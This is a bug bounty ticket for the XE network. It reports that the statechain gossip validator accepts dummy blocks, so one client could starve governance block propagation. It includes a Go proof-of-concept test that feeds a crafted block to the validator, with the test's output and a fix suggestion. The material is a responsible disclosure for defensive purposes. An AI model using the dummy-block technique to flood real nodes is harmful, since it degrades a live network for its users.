<!-- XE-0031 · net: statechain gossip validator accepts any 64 hex hash with a non-empty signature list; one client can starve governance propagation (High) · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0031>. The page is the record; this is the same page for reading.*

XE-0031 · Bounty

# net: statechain gossip validator accepts any 64 hex hash with a non-empty signature list; one client can starve governance propagation (High)

Accepted
claimed High
[xe#45](https://github.com/xeprotocol/xe/issues/45)
filed 2026-10-25 11:12 UTC
by byfor8

Verdict
:   published when the fix ships

Tier
:   published when the fix ships

Claimed
:   High

Area
:   P2P / sync

Duplicate of
:   —

Tracked
:   internally

Updated
:   2026-11-10 11:38 UTC

Told
:   2026-11-10 00:15 UTC

### Patches

- [xe#143](https://github.com/xeprotocol/xe/pull/143) open by arturbarszcz78
  fix(net,statechain): verify block hash and signatures in statechain gossip (#45)

### History

- [61379](https://bounty.xe.network/log/61379) 2026-11-10 00:15 UTC reply.mirrored
- [61336](https://bounty.xe.network/log/61336) 2026-11-10 00:15 UTC reply.sent
- [10335](https://bounty.xe.network/log/10335) 2026-11-05 22:22 UTC proposal.adopted
- [10334](https://bounty.xe.network/log/10334) 2026-11-05 22:22 UTC ticket.award
- [10333](https://bounty.xe.network/log/10333) 2026-11-05 22:22 UTC proposal.rejected
- [6877](https://bounty.xe.network/log/6877) 2026-11-05 13:45 UTC proposal.created
- [1801](https://bounty.xe.network/log/1801) 2026-11-02 19:16 UTC proposal.created
- [1456](https://bounty.xe.network/log/1456) 2026-11-02 10:11 UTC note.added
- [698](https://bounty.xe.network/log/698) 2026-10-29 14:22 UTC note.added
- [697](https://bounty.xe.network/log/697) 2026-10-29 14:22 UTC ticket.facts area
- [585](https://bounty.xe.network/log/585) 2026-10-29 14:04 UTC github.labels
- [354](https://bounty.xe.network/log/354) 2026-10-29 14:04 UTC ticket.status triaging → accepted

[Full history](https://bounty.xe.network/log?ref=XE-0031) · [JSON](https://bounty.xe.network/v1/tickets/XE-0031) · [markdown](https://bounty.xe.network/XE-0031.md)

### Report

## Summary

The gossipsub validator for the statechain topic checks only that the block hash is 64 hex characters and that the Signatures slice is non-empty. A dummy block with Signatures set to a list containing one empty object passes validation and is forwarded mesh wide. The subscriber channel is 16 deep and drops on overflow, so an attacker holding validation acceptance can keep every node's statechain channel full and real DAO blocks hit the drop path.

## Affected component

net/gossip\_validate.go, stateChainValidator at lines 123 to 140, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512. Subscribe channel of 16 with drop-on-full at net/gossip.go lines 333 to 364\. The signature and hash checks that matter run later in statechain.Chain.AddBlock (chain.go lines 110 and 190 to 196), so this is propagation starvation, not an unsigned commit.

## Impact

One client, matching the public genesis network id, can publish dummy statechain blocks up to the gossip message size limit and starve real governance block propagation on every node in the mesh. Dummy bodies are still rejected at AddBlock, so no forged state change lands. No PoW gate exists on this topic, unlike the block topic.

Suggested severity: High (degradation one client can cause). Confirmed by read-only source review.

## PoC

Setup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at `net/poc_f6_test.go` (it joins the package's own test build), then:

```
GOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F6 ./net
```

**Test file** (`net/poc_f6_test.go`):

```
package net

import (
	"context"
	"encoding/json"
	"fmt"
	"os"
	"testing"

	pubsub "github.com/libp2p/go-libp2p-pubsub"
	pb "github.com/libp2p/go-libp2p-pubsub/pb"
	"github.com/libp2p/go-libp2p/core/peer"

	"github.com/xeprotocol/xe/statechain"
)

// TestPoC_F6 calls stateChainValidator on a dummy body: 64 hex chars and a
// non-empty Signatures slice, no hash or DAO/oracle signature check.
func TestPoC_F6(t *testing.T) {
	pass, detail := runF6()
	if pass {
		fmt.Println("PASS: F6 state-chain gossip accepts a dummy hash+Signatures=[{}] body")
		fmt.Println(detail)
		return
	}
	fmt.Println("FAIL: F6 expected ValidationAccept for an unsigned dummy state-chain block")
	fmt.Println(detail)
	os.Exit(0)
}

func runF6() (bool, string) {
	v := stateChainValidator()
	dummy := &statechain.Block{
		Hash:       "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
		Signatures: []statechain.BlockSignature{{}},
	}
	data, err := json.Marshal(StateChainMsg{Block: dummy})
	if err != nil {
		return false, "marshal: " + err.Error()
	}
	got := v(context.Background(), peer.ID(""), &pubsub.Message{Message: &pb.Message{Data: data}})

	emptySig := &statechain.Block{
		Hash: dummy.Hash,
	}
	emptyData, _ := json.Marshal(StateChainMsg{Block: emptySig})
	rejectEmpty := v(context.Background(), peer.ID(""), &pubsub.Message{Message: &pb.Message{Data: emptyData}})

	detail := fmt.Sprintf(
		"dummy json=%s
"+
			"stateChainValidator dummy Signatures=[{}] result=%v (ValidationAccept=%v)
"+
			"control empty Signatures result=%v (ValidationReject=%v)",
		string(data), got, pubsub.ValidationAccept, rejectEmpty, pubsub.ValidationReject,
	)
	ok := got == pubsub.ValidationAccept && rejectEmpty == pubsub.ValidationReject
	return ok, detail
}
```

## Fix suggestion

Move the full hash and DAO or oracle multisig verification into the gossip validator (it is cheap), or at minimum check the hash binding and first signature before returning ValidationAccept.

**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):

```
=== RUN   TestPoC_F6
PASS: F6 state-chain gossip accepts a dummy hash+Signatures=[{}] body
dummy json={"block":{"index":0,"prev_hash":"","ops":null,"signatures":[{"public_key":"","signature":""}],"hash":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","timestamp":0}}
stateChainValidator dummy Signatures=[{}] result=0 (ValidationAccept=0)
control empty Signatures result=1 (ValidationReject=1)
--- PASS: TestPoC_F6 (0.00s)
PASS
ok  	github.com/xeprotocol/xe/net	0.016s
```

### Thread

**XE desk**team2026-11-10 00:15 UTCgithub

Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is
updated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0031.
